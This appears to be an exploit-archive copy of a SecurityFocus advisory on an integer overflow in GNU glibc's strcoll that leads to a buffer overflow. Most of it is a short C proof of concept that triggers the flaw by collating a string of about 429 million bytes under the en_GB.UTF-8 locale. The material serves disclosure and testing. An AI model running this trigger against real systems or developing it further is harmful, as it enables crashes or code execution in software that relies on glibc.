// source: https://www.securityfocus.com/bid/55462/info
GNU glibc is prone to a remote integer-overflow vulnerability which leads to buffer overflow vulnerability.
Successful exploits may allow an attacker to execute arbitrary code in the context of a user running an application that uses the affected library. Failed exploit attempts may crash the application, denying service to legitimate users.
#include <locale.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define SIZE 429496730
int
main (void)
{
char *p = malloc (1 + SIZE);
if (setlocale (LC_COLLATE, "en_GB.UTF-8") == NULL)
{
puts ("setlocale failed, cannot test for overflow");
return 0;
}
if (p == NULL)
{
puts ("malloc failed, cannot test for overflow");
return 0;
}
memset (p, 'x', SIZE);
p[SIZE] = 0;
printf ("%d\n", strcoll (p, p));
return 0;
}